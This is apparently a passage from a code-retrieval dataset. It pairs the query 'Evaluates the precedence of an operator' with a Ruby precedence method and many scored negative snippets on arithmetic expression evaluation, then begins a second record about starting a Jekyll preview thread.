[ "0.81183", "0.75568074", "0.70040524", "0.69331366", "0.68119454", "0.6729062", "0.64925843", "0.6306495", "0.622842", "0.60889727", "0.58949274", "0.5781334", "0.5761719", "0.5741115", "0.57316005", "0.5723823", "0.56861854", "0.56104773", "0.5591468", "0.55859727", "0.55159885", "0.5507989", "0.5505421", "0.54959965", "0.54922", "0.54494745", "0.5421578", "0.53938836", "0.5380478", "0.5352317", "0.53330237", "0.5300874", "0.5282213", "0.52481884", "0.5248167", "0.5212307", "0.51718265", "0.51701194", "0.51518136", "0.51212937", "0.5096155", "0.508976", "0.50854576", "0.5067839", "0.5044334", "0.5009693", "0.50023746", "0.5000881", "0.49884507", "0.49612963", "0.49533254", "0.49472767", "0.4943742", "0.4939603", "0.4922786", "0.4922786", "0.49187508", "0.49044096", "0.4894016", "0.48735848", "0.4835522", "0.48233643", "0.48173875", "0.48078898", "0.48030186", "0.4802177", "0.47986674", "0.47873327", "0.47869506", "0.47793114", "0.47776204", "0.476446", "0.4756611", "0.4745557", "0.47380143", "0.47373876", "0.473632", "0.4731528", "0.47212863", "0.47129172", "0.46992183", "0.46807742", "0.46769384", "0.46756625", "0.46735105", "0.46681315", "0.46672606", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.46671078", "0.4662803", "0.46583346" ]
0.5757935
13
Evaluates the precedence of an operator.
def precedence_of(ch) case ch when '^' 10 when '*', '/' 5 when '+', '-' 1 else 0 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def precedence\n case @operator\n when '+', '-'\n # addition and subtraction\n 0\n when '*', '/'\n # multiplication and division\n 1\n when '**', '^'\n # powers / roots (e.g. 2^(1/2))\n 2\n end\n end", "def inputPrecedence(operator)\n if operator == \"+\" || operator == \"-\"\n\t\t\treturn 1\n\t\tend\n\n if operator == \"*\" || operator == \"/\" || operator == \"%\"\n\t\t\treturn 2\n\t\tend\n\n if operator == \"^\"\n\t\t\treturn 4\n\t\tend\n\n if operator == \"(\"\n\t\t\treturn 5\n\t\tend\n\n end", "def inputPrecedence(operator)\n if ['+', '-'].include? operator\n return 1\n elsif ['*', '/', '%'].include? operator\n return 2\n elsif '^'.eql? operator\n return 4\n else\n return 5\n end\n end", "def precedence; end", "def prescedence_of operator\n case operator\n when \"*\" then 2\n when \"/\" then 2\n when \"+\" then 1\n when \"-\" then 1\n when \"(\" then 0 \n end\n end", "def stackPrecedence(operator)\n if ['+', '-'].include? operator\n return 1\n elsif ['*', '/', '%'].include? operator\n return 2\n elsif '^'.eql? operator\n return 3\n else\n return -1\n end\n end", "def inputPrecedence(operator)\n @operaters[operator][:input_prec]\n end", "def stackPrecedence(operator)\n if operator == \"+\" || operator == \"-\"\n\t\t\treturn 1\n\t\tend\n\n if operator == \"*\" || operator == \"/\" || operator == \"%\"\n\t\t\treturn 2\n\t\tend\n\n if operator == \"^\"\n\t\t\treturn 3\n\t\tend\n\n if operator == \"(\"\n\t\t\treturn -1\n\t\tend\n\n end", "def stackPrecedence(operator)\n @operaters[operator][:stack_prec]\n end", "def index_of_lowest_precedence(operators,associativity=:left)\n lowest = lowest_precedence = nil\n operators.each_with_index do |operator,i|\n operator_string = operator.to_s\n precedence = operator_precedence(operator_string)\n right_associative = @right_operators_regexp && operator_string[@right_operators_regexp]\n if !lowest || (right_associative ? precedence < lowest_precedence : precedence <= lowest_precedence)\n lowest = i\n lowest_precedence = precedence\n end\n end\n lowest\n end", "def evaluate_operator(left, right)\n left >= right\n end", "def evaluate_operator(left, right)\n left <= right\n end", "def evaluate_operator(left, right)\n left < right\n end", "def match_operator(p, value)\n if p[0] == '!'\n @@operator_map[p[0]].call(_match(p[1], value))\n elsif p[0] == '^'\n @@operator_map[p[0]].call(_match(p[1][0], value), _match(p[1][1], value))\n else\n @@operator_map[p[0]].call(p[1].each {|operator_or_filter| _match(operator_or_filter, value)})\n end\n end", "def evaluate() \n # operand stack\n opStack = []\n \n # iterate over the tokens\n @postfix.split(\"\").each do |c|\n # check if an operator\n if %w[+ - * / ^].include? c\n # pop the stack for the two operands where\n # a [operator] b\n b, a = opStack.pop, opStack.pop\n \n # evaluate the string as an arithmetic expression\n # replace all '^' characters with '**' operator\n opStack.push(eval(\"(#{a})#{c}(#{b})\".gsub(/\\^/,'**')))\n else\n # push any operands onto stack\n opStack.push(c)\n end\n end\n \n # Last item in stack should be the final answer!\n opStack.pop\n end", "def priority(op)\n case op\n when \"+\",\"-\"\n return 1\n when \"*\",\"/\"\n return 2\n when /\\^/\n return 3\n end\n end", "def evaluatePostfix(exprStr)\n \n # split the string into an array by spaces\n exprStr = exprStr.split(\" \");\n\n # stack the holds \n stack = Array.new\n\n # loop through each element in the array\n exprStr.each do |ele|\n \n # check if the current value is an integer\n if operand? ele\n\n # convert the element to an integer and push onto stack\n stack.push ele.to_i\n\n # check if current element is an operator\n elsif operator? ele\n\n # update the ^ operator\n if ele.eql? '^'\n ele = \"**\"\n end \n \n # pop the last two elements from the array\n y, x = stack.pop, stack.pop\n \n # calculate the result of the operation\n result = applyOperator(x, y, ele)\n\n # push the result onto the stack\n stack.push(result)\n end\n end\n return stack.pop\n end", "def check_operators(token, evaluation, line, file_read, ops)\n op1 = ops[0]\n op2 = ops[1]\n unless ['-', '+', '/', '*'].include?(token) && !(token == '/' && op2.to_i.zero?)\n puts \"Line #{line}: Could not evaluate expression\"\n error_eval(5, line, nil, file_read)\n return false\n end\n evaluation.push(op1.to_i.send(token.to_sym, op2.to_i))\n end", "def answer\n operators[@operator].call\n end", "def evaluate(input)\n if input.operator?\n perform_operation(input)\n else\n input\n end\n end", "def operator\n case @matches[2]\n when \"plus\" then :+\n when \"minus\" then :-\n when \"divided by\" then :/\n when \"multiplied by\" then :*\n end\n end", "def evaluatePostfix(exprStr)\n stack = []\n exprStr.split(\" \").each do |token|\n if operand? token then\n stack.push token\n elsif operator? token then\n y = stack.pop\n x = stack.pop\n stack.push applyOperator(x, y, token)\n end\n end\n stack.pop\n end", "def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend", "def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end", "def next_operator(expr)\n return '*' if expr.index('*')\n return '/' if expr.index('/')\n return '+' if expr.index('+')\n return '-' if expr.index('-')\n end", "def has_lower_precedence?(other_expression)\n precedence > other_expression.precedence\n end", "def evaluatePostfix(exprStr)\n\t\tstack = Array.new\n\n\t\tfor i in 0...exprStr.split.length\n\t\t\tcurrent = exprStr.split[i]\n\n\t\t\tif operand?(current)\n\t\t\t\tstack.push(current)\n\t\t\tend\n\n\t\t\tif operator?(current)\n\t\t\t\ty = stack.pop\n\t\t\t\tx = stack.pop\n\t\t\t\to = current\n\t\t\t\tresults = applyOperator(x, y, o.to_s)\n\t\t\t\tstack.push(results)\n\t\t\tend\n\t\tend\n\n\t\treturn stack.pop\n end", "def _calc operator\n (operand1, operand2) = @stack.pop 2\n @stack.unshift @stack.first\n @stack.push operand1.send(operator.to_sym, operand2)\nend", "def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end", "def execWithOperator(env)\n operatorToken = Ruby::Token.new(self.operator.token[/(.*)=/, 1])\n binaryExpression = Ruby::Binary.new(operatorToken, self.left, self.right)\n #return the partial evaluation result of the newly created binary expression.\n binaryExpression.pe(env)\n end", "def higher_or_equal_precedence?(op1,op2)\n return true if LOW_PRIORITY_OPERATORS.include?(op2)\n return true if HIGH_PRIORITY_OPERATORS.include?(op1)\n return false\n end", "def eval\n return @value unless @value.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n a = a.to_f if term == \"/\"\n op = (term == \"^\" ? \"**\" : term)\n stack.push(a.method(op).call(b))\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack}\"\n else\n begin\n number = Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(number)\n debug \"#{number}\\tPUSH\\t#{stack}\"\n end\n end\n @value = stack.pop\n debug \"Value = #@value\"\n @value\n end", "def operator\n return @operator\n end", "def operator\n return @operator\n end", "def operator\n return @operator\n end", "def opr(op, lhs, rhs)\n lhs = Convert(lhs, :numeric)\n rhs = Convert(rhs, lhs.type)\n case op\n when :or\n @builder.or(lhs, rhs)\n when :xor\n @builder.xor(lhs, rhs)\n when :and\n @builder.and(lhs, rhs)\n when :eq, :ne, :sgt, :sge, :slt, :sle\n @builder.icmp(op, lhs, rhs)\n when :oeq, :ogt, :oge, :olt, :ole, :one, :ord, :uno, :ueq, :une\n @builder.fcmp(op, lhs, rhs)\n when :ugt, :uge, :ult, :ule \n case lhs.type.kind\n when :integer\n @builder.icmp(op, lhs, rhs)\n when :float, :double, :x86_fp80, :fp128, :ppc_fp128\n @builder.fcmp(op, lhs, rhs)\n end\n else\n raise ArgumentError, \"Unrecognized operation symbol passed to opr.\"\n end\n end", "def operator\n self.class.operator\n end", "def operator; end", "def rank_precedence() = RANKS_SCORES[self.rank]", "def operator?\n @operator || false\n end", "def power\n if @tokens.first == \"(\"\n consume_token\n v = expr\n return v if consume_token == \")\"\n\n raise \"Parens doesn't match.\"\n\n elsif ['+', '-'].include? @tokens.first\n @@ops[consume_token].call(0, power)\n\n else\n begin\n v = consume_token\n Integer v\n rescue\n raise \"Expected integer, found #{v.nil? ? 'nothing' : v}.\"\n end\n end\n end", "def parse_infix_comparison\n lhs = parse_value\n return case peek_token\n when nil\n lhs\n when :comma\n next_token # skip comma\n lhs\n else\n if COMPARISON_OPERATORS.include?(peek_token)\n comparison_operator = next_token\n rhs = parse_value\n ScopedSearch::QueryLanguage::AST::OperatorNode.new(comparison_operator, [lhs, rhs])\n else\n lhs\n end\n end\n end", "def calc_operator token\n ##\n # We need two operands to perform an operation, so we \n # raise `InvalidTokenError` if we don't have those \n # (as at that moment of execution operator-tokens are invalid).\n raise InvalidTokenError if @stack.length < 2\n arg2 = pop!\n arg1 = pop!\n res = get_operation(token).call(arg1, arg2)\n @stack.push(res)\n res\n end", "def operator\n node_parts[1]\n end", "def evalRPN(exp)\n begin\n expr = parseString(exp) # Parse expression into array\n\n stack = Stack.new # stack to keep track of operands\n\n # convert string to int or float\n case expr[0]\n when /\\.{1}/\n stack.push(atof(expr[0]))\n else\n stack.push(atoi(expr[0]))\n end\n\n for i in 1..expr.length\n\n # Addition - perform addition on previous two operands\n if expr[i] == '+' \n stack.push(calc stack.pop, stack.pop, &:+)\n\n # Subtraction - perform subtraction on previous two operands\n elsif expr[i] == '-'\n stack.push(calc stack.pop, stack.pop, &:-) \n\n # Division - perform division on previous two operands\n elsif expr[i] == '/'\n stack.push(calc (stack.pop/1.0), stack.pop, &:/)\n\n # Multiplication - perform mult on previous two operands\n elsif expr[i] == '*'\n stack.push(calc stack.pop, stack.pop, &:*)\n\n # Just a number -- add to stack\n else\n next if expr[i] == nil # dont add nil to stack\n\n case expr[i]\n when /\\.{1}/\n stack.push(atof(expr[i]))\n else\n stack.push(atoi(expr[i]))\n end\n end\n end\n\n # No operator provided\n raise NotEnoughException if stack.size != 1\n \n return stack.pop # Return answer\n\n rescue NotEnoughException => e\n abort(e.mes) # inform user of error\n end\n\nend", "def cur_token_precedence\n filtered = @infix_parsers.select{|key, val| key.call @current_token}\n return 0 if filtered.size == 0\n _, contents = filtered.first\n contents[0]\n end", "def <=>(other) = self.precedence <=> other.precedence", "def applyOperator(num1, num2, operator)\n #eval((num1.to_s + operator + num2.to_s).gsub(\"^\", \"**\"))\n @operators[operator][:action].call(num1.to_i, num2.to_i)\n end", "def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend", "def infix_to_postfix(expr, prec)\n output = []\n operators = []\n\n expr.each { |token|\n case token\n when Integer\n output << token\n when :+, :*\n while !operators.empty? && operators[-1] != :\"(\" && prec[operators[-1]] >= prec[token]\n output.push(operators.pop)\n end\n operators.push(token)\n when :\"(\"\n operators.push(token)\n when :\")\"\n while operators[-1] != :\"(\"\n output.push(operators.pop)\n if operators.size == 0\n raise \"No matching parenthesis found.\"\n end\n end\n operators.pop\n end\n }\n\n while !operators.empty?\n if operators[-1] == :\"(\" || operators[-1] == :\")\"\n raise \"Unmatched parenthesis found.\"\n end\n output.push(operators.pop)\n end\n output\nend", "def evaluate(op, left_arg, right_arg)\n case\n when op == '+' then return left_arg + right_arg\n when op == '-' then return left_arg - right_arg\n when op == '*' then return left_arg * right_arg\n when op == '/' then return left_arg / right_arg\n when op == '%' then return left_arg % right_arg\n end\nend", "def parse_expression(precedence)\n prefix = @prefix_parse_functions[@cur_token.type]\n if prefix.nil?\n raise(\n MonkeyLanguageParseError,\n [\"unexpected token: #{@cur_token.type}\",\n \"not found prefix parse function for #{@cur_token.type}\"].join(\", \")\n )\n end\n left_exp = prefix.call\n while (not next_token_type_is(TokenType::SEMICOLON)) and\n precedence < next_token_precedence\n infix = @infix_parse_functions[@nxt_token.type]\n raise if infix.nil?\n advance_cursor\n left_exp = infix.call(left_exp)\n end\n return left_exp\n end", "def parse_expression(precedence = 0)\n ret, line = nil, current_token.line_num\n @expression_parsers.each do |matcher, parser|\n next unless matcher.call(current_token) && ret.nil?\n\n left = instance_exec &parser\n while precedence < cur_token_precedence\n _, contents = @infix_parsers.select{|key, val| key.call @current_token}.first\n left = instance_exec left, &contents.last\n end\n ret = left\n end\n add_line_info(line, ret) if ret\n ret\n end", "def operator?(node, operator)\n return if node == nil\n operator?(node.left, operator) #starts recursion -- go left\n if node.value.match(/\\+|\\-|\\/|\\%|\\*/) && (node.value == operator.value) #if operators included\n return true #true\n end\n operator?(node.right, operator) #recursion -- go right\nend", "def operator=(value)\n @operator = value\n end", "def operator=(value)\n @operator = value\n end", "def operator=(value)\n @operator = value\n end", "def operators\n {\n \"+\" => -> {@num1 + @num2},\n \"-\" => -> {@num1 - @num2}\n }\n end", "def operator_node\n key_op_val? && @elements[1]\n end", "def eval_infix(source)\n ch = source.current\n source.next\n if ch == '('\n left_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n source.next\n elsif ch =~ /\\d/\n left_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n while source.current =~ OPERATORS\n op = source.current\n ch = source.next\n if ch == '('\n source.next\n right_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n elsif ch =~ /\\d/\n right_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n left_arg = evaluate(op, left_arg, right_arg)\n source.next\n end\n left_arg\nend", "def operator_for( type )\n return operator if(@operator_type == type.to_sym)\n nil\n end", "def evaluate(scope)\n # evaluate the first operand, should return a boolean value\n lval = @lval.safeevaluate(scope)\n\n # return result\n # lazy evaluate right operand\n case @operator\n when \"and\"\n if Puppet::Parser::Scope.true?(lval)\n rval = @rval.safeevaluate(scope)\n Puppet::Parser::Scope.true?(rval)\n else # false and false == false\n false\n end\n when \"or\"\n if Puppet::Parser::Scope.true?(lval)\n true\n else\n rval = @rval.safeevaluate(scope)\n Puppet::Parser::Scope.true?(rval)\n end\n end\n end", "def expr(min_prec = 5, step = 10)\n left = atomar\n\n loop do\n if !left || !infix || @optable[peek.value][0] < min_prec\n return left\n else\n op = consume\n line = op.line\n col = op.column\n prec, assoc = @optable[op.value]\n next_prec = prec || (prec + step if assoc == 'left')\n right = expr(next_prec) || syntax_error\n left = Apparat::Byte::Binary.new([op.value, left, right], line, col)\n end\n end\n end", "def operator_num\n first_reg = @reg_writes[0].register\n operator = first_reg & 0x1f\n\n if operator == operator_1\n 0\n else\n 1\n end\n end", "def rpn(operation)\n rpn_stack = Stack.new\n tokens = parse_tokens(operation)\n puts tokens.to_s\n tokens.each do |token|\n if !is_operator?(token)\n puts \"pushing token #{token}\"\n rpn_stack.push(token)\n else\n val2 = rpn_stack.pop\n val1 = rpn_stack.pop\n rpn_stack.push(calculate(val1,val2, token))\n end # end of if\n end # end of each\n rpn_stack.pop\nend", "def evaluation(input)\n operand_output = operand.call(input)\n evaluation_success(input, operand_output, !operand_output)\n end", "def real_operator\n case @op\n when :while_mod\n :while\n when :until_mod\n :until\n else\n @op\n end\n end", "def check_op (oper)\n if oper == 'add' || oper == '+'\n puts \"+ + Let's add 'em up! + +\"\n return operator = '+'\n elsif oper == 'subtract' || oper == '-'\n puts \"- - Let's subtract! - -\"\n return operator = '-'\n elsif oper == 'multiply' || oper == '*'\n puts \"* * It's time to multiply! * *\"\n return operator = '*'\n elsif oper == 'divide' || oper == '/'\n puts \"/ / Let's divide 'em up! / /\"\n return operator = '/'\n elsif oper == 'exponent' || oper == '**'\n puts \"^ ^ Let's power 'em up! ^ ^\"\n return operator = '**'\n elsif oper == 'remainder' || oper == '%'\n puts \"% % Let's find the remainder! % %\"\n return operator = '%'\n end\nend", "def calculate(integer, operator, integer1)\n\tif operator == \"+\"\n\t\tp integer + integer1\n\telsif operator == \"-\"\n\t\tp integer - integer1\n\telsif operator == \"*\"\n\t\tp integer * integer1\n\telsif operator == \"/\"\n\t\tp integer / integer1\n\telse\n\t\tp \"I'm sorry that's not a valid equation!\"\n\t\t\n\tend\nend", "def interpret_unary_operator(unary_op)\n case unary_op.operator\n when :'-'\n -(interpret_node(unary_op.operand))\n else # :'!'\n !(interpret_node(unary_op.operand))\n end\n end", "def applyOperator(num1, num2, operator)\n\n\t\tif operator == \"+\"\n\t\t\treturn num1.to_i + num2.to_i\n\t\tend\n\n\t\tif operator == \"-\"\n\t\t\treturn num1.to_i - num2.to_i\n\t\tend\n\n\t\tif operator == \"*\"\n\t\t\treturn num1.to_i * num2.to_i\n\t\tend\n\n\t\tif operator == \"/\"\n\t\t\treturn num1.to_i / num2.to_i\n\t\tend\n\n\t\tif operator == \"%\"\n\t\t\treturn num1.to_i % num2.to_i\n\t\tend\n\n\t\tif operator == \"^\"\n\t\t\treturn num1.to_i ** num2.to_i\n\t\tend\n\n end", "def rarity\r\n case @operator\r\n when \"=\"\r\n 5\r\n when \"!\"\r\n 1\r\n when \"!*\"\r\n 0\r\n when \">=\"\r\n @level \r\n when \"<=\"\r\n 6 - @level\r\n else\r\n 0\r\n end\r\n end", "def read_operator_node(node)\n first_node = node.children.first\n solution = first_node.is_a?(GivenThatOperatorNode) ? read_operator_node(first_node) : first_node\n\n push_connector(node)\n #group =\n node.children[1..-1].inject(solution) do |sum, i|\n i = read_operator_node(i) if i.is_a?(GivenThatOperatorNode)\n if MULTIPLICATIVE_OPERATORS.include?(node.value)\n sum = sum | i\n else # Assume it's in ADDITIVE_OPERATORS\n sum = sum & i\n end\n end\n end", "def evaluate_postfix(postfix_expression)\n \n starting_value = postfix_expression[0].to_i\n first_operation = postfix_expression[2]\n first_value = postfix_expression[1].to_i\n second_operation = postfix_expression[4]\n second_value = postfix_expression[3].to_i\n \n temporary_response = 0\n \n if postfix_expression.length == 1 \n return postfix_expression\n elsif postfix_expression.length == 3\n return evaluator(first_operation, starting_value, first_value)\n elsif postfix_expression.length == 5\n first_half = evaluator(first_operation, starting_value, first_value)\n return evaluator(second_operation, first_half, second_value)\n end\nend", "def oper\n return @oper\n end", "def interpret(context)\n evaluate_operator(@expression.interpret(context))\n end", "def precedences &blk\n PrecedenceBuilder.new(self).instance_eval(&blk)\n end", "def evaluate(operator=\"and\")\n unless operator == \"and\" || operator == \"or\"\n raise(ArgumentError, \"operator must be 'and' or 'or'\")\n end\n \n result_data = {}\n\n @conditions.each do |condition|\n result_data[condition[0]] = condition[1].call\n end\n \n result = case operator\n when \"and\"\n result_data.all? { |name, result| result }\n when \"or\"\n result_data.any? { |name, result| result }\n end\n \n return result, result_data\n end", "def prefix_evaluation(expression)\n return nil if expression.class != String\n digits = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\"6\", \"7\", \"8\", \"9\"]\n operators = [\"+\", \"-\", \"*\", \"/\", \"**\"]\n expression_array = expression.split(\" \").reverse\n local_stack = Stack.new()\n expression_array.each do |element|\n if digits.include?(element)\n local_stack.push(element)\n elsif operators.include?(element)\n num1 = local_stack.pop()\n num2 = local_stack.pop()\n result = do_math(num1, num2, element)\n local_stack.push(result)\n else\n puts \"undefined character\"\n end\n end\n local_stack.top()\nend", "def perform_op(token, evaluation, line, file_read)\n op2 = evaluation.pop\n op1 = evaluation.pop\n if op1.nil? || op2.nil?\n puts \"Line #{line}: Operator #{token} applied to an empty stack\"\n error_eval(2, line, nil, file_read)\n return false\n end\n ops = [op1, op2]\n check_operators(token, evaluation, line, file_read, ops)\n end", "def visitOperator(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitOperator\")\r\n @@log.debug(elem.inspect)\r\n\r\n if (!elem.has_text?)\r\n @@log.error(\"An OPERATOR element does not have any text.\")\r\n return data\r\n end\r\n\r\n case elem.text\r\n when '&lt;'\r\n data += ' < '\r\n\r\n when '&gt;'\r\n data += ' > '\r\n\r\n when '&lt;&gt;', '<>'\r\n data += ' != '\r\n\r\n when 'OR'\r\n data += \" ||\\n\\t\\t\"\r\n\r\n when 'AND'\r\n data += \" &&\\n\\t\\t\"\r\n\r\n else\r\n data += \" #{elem.text} \"\r\n end\r\n\r\n return data\r\n end", "def order_of_operations\n [\n # /(\\d*\\.?\\d*) *(\\^) *(\\d*\\.?\\d*)/, # exponents\n Regexp.new(\"(\\\\d*\\\\.?\\\\d*) *(\\\\#{EXPONENT_OP}) *(\\\\d*\\\\.?\\\\d*)\"),\n # /(\\d*\\.?\\d*) *([*\\/]) *(\\d*\\.?\\d*)/, # multiplication or division\n Regexp.new(\"(\\\\d*\\\\.?\\\\d*) *([#{MULTIPLICATION_OP}\\\\#{DIVISION_OP}]) *(\\\\d*\\\\.?\\\\d*)\"),\n # /(\\d*\\.?\\d*) *([+-]) *(\\d*\\.?\\d*)/, # addition or subtraction\n Regexp.new(\"(\\\\d*\\\\.?\\\\d*) *([#{ADDITION_OP}#{SUBTRACTION_OP}]) *(\\\\d*\\\\.?\\\\d*)\")\n ]\n end", "def print_operators(node)\n return if node == nil\n print_operators(node.left) #starts recursion -- go left\n if node.value.match(/\\+|\\-|\\/|\\%|\\*/) #if operators included\n print node.value + \" \" #print value of this node\n end\n print_operators(node.right) #recursion -- go right\nend", "def operator?(str)\n @operators.has_key? str\n end", "def operator?(str)\n return ['+', '-', '*', '/', '%', '^'].include?(str)\n end", "def operator\n @operator || (self.persisted? ? 'SET' : 'ADD')\n end", "def evaluate(rule_base)\n left_side = lhs.evaluate(rule_base)\n right_side = rhs.evaluate(rule_base)\n if self.operator == AND\n #Return true if both lhs and rhs are true\n return Rule::TRUE if left_side == Rule::TRUE && right_side == Rule::TRUE\n return Rule::FALSE if left_side == Rule::FALSE || right_side == Rule::FALSE\n return Rule::UNKNOWN\n else #OR\n #Return true if either lhs or rhs are true\n return Rule::TRUE if left_side == Rule::TRUE || right_side == Rule::TRUE\n return Rule::FALSE if left_side == Rule::FALSE && right_side == Rule::FALSE\n return Rule::UNKNOWN\n end\n end", "def basic_op(operator, value1, value2)\n case operator\n when \"+\"\n value1 + value2\n when \"-\"\n value1 - value2\n when \"*\"\n value1 * value2\n when \"/\"\n value1 / value2\n end\nend", "def basic_op(operator, value1, value2)\n case operator\n when '+'\n value1 + value2\n when '-'\n value1 - value2\n when '*'\n value1 * value2\n when '/'\n value1 / value2\n end\nend", "def set_Operator(value)\n set_input(\"Operator\", value)\n end", "def set_Operator(value)\n set_input(\"Operator\", value)\n end", "def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end", "def operators= new_ops\n @operators = new_ops.gsub(/[^+*-]/, '').split(//)\n reset\n end", "def pp(indent = \"\")\n newindent = indent + \" \"\n \"#{indent}(#{@operator}\\n#{@left.pp(newindent)}\\n#{@right.pp(newindent)})\"\n end", "def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n SYMBOL_TABLE[token].arity.times do\n args.unshift(stack.pop)\n end\n\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token?\"\n end\n end\n\n stack.pop\n end", "def process_operator_token(token, operand_a, operand_b)\n if token == '+'\n operand_a + operand_b\n elsif token == '-'\n operand_a - operand_b\n elsif token == '*'\n operand_a * operand_b\n elsif token == '/'\n raise 'Tried to divide by zero!' if operand_b == 0\n\n operand_a / operand_b\n else\n raise \"Invalid Operator: #{token}\"\n end\nend", "def ops(node)\n if node.left.nil? || node.right.nil?\n return 1 if /[\\+\\-\\*\\%\\/\\.]/.match(node.value)\n else\n return (ops(node.left) + ops(node.right))\n end\nend", "def calculate(operator)\n operands = @memory.stack.pop(2)\n @memory.stack.push(operands.inject(operator))\n end", "def get_result(operator, *n)\n return $operations[operator].call(*n).to_s\nend", "def evaluate_postfix(postfix_expression)\n stack = Stack.new\n postfix_expression.each_char do |n|\n if /\\+|-|\\*|\\//.match(n)\n stack_operation_helper(stack, stack.pop, stack.pop, n)\n else \n stack.push(n)\n end \n end \n return stack.pop\nend" ]
[ "0.8410472", "0.78838253", "0.7843743", "0.77748907", "0.7753463", "0.77295524", "0.756273", "0.75553393", "0.728769", "0.6883057", "0.67657137", "0.6631053", "0.65994614", "0.63554925", "0.63342714", "0.63204867", "0.6292086", "0.6285041", "0.62753016", "0.6177448", "0.6168131", "0.61676264", "0.6144441", "0.61323494", "0.61289775", "0.6125549", "0.6104535", "0.60701406", "0.6045103", "0.6037804", "0.60146785", "0.6012339", "0.60119015", "0.60119015", "0.60119015", "0.6003688", "0.59953505", "0.59599364", "0.5935897", "0.5923448", "0.59059584", "0.5890204", "0.5873166", "0.58449864", "0.58148146", "0.5812673", "0.5806123", "0.57996017", "0.5796407", "0.57592565", "0.575374", "0.5748205", "0.5742327", "0.57179415", "0.568919", "0.568919", "0.568919", "0.56634146", "0.5653005", "0.56474674", "0.5618638", "0.5616713", "0.5611824", "0.5601913", "0.5596943", "0.55806035", "0.5561467", "0.5546813", "0.5531966", "0.5515551", "0.5512677", "0.5510392", "0.5503865", "0.5503565", "0.5497498", "0.5497022", "0.54865974", "0.54815894", "0.5477167", "0.54702795", "0.5465075", "0.54378027", "0.543723", "0.54334587", "0.5406432", "0.5396944", "0.5396463", "0.5376149", "0.53745943", "0.5374068", "0.5374068", "0.53736895", "0.53715724", "0.5368213", "0.53681546", "0.53639656", "0.5363399", "0.53597933", "0.535011", "0.53462017" ]
0.7059917
9
================================================================================= Create the thead process for the Jekyll server Params: +preview+:: the preview
def jekyll_thread preview terminal_add preview, terminal_info(I18n.t('preview.message.start')) Rails.application.executor.wrap do Thread.new do Rails.application.reloader.wrap do Rails.application.executor.wrap do start_jekyll preview end end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def preview_title_and_toc\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_title_toc-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.title_and_toc\n render \"previews/preview\"\n end", "def preview\n \n # @lg = PageTag::PageGenerator.previewer( @menu, @theme, {:resource=>(@resource.nil? ? nil:@resource),:controller=>self})\n # html = @lg.generate\n # css,js = @lg.generate_assets \n #insert css to html\n # style = %Q!<style type=\"text/css\">#{css}</style>!\n #editor_panel require @theme, @editors, @editor ...\n # html.insert(html.index(\"</head>\"),style)\n # html.insert(html.index(\"</body>\"),@editor_panel)\n # respond_to do |format|\n # format.html {render :text => html}\n # end\n \n end", "def preview_index\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_index-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.index\n render \"previews/preview\"\n end", "def create_preview\n 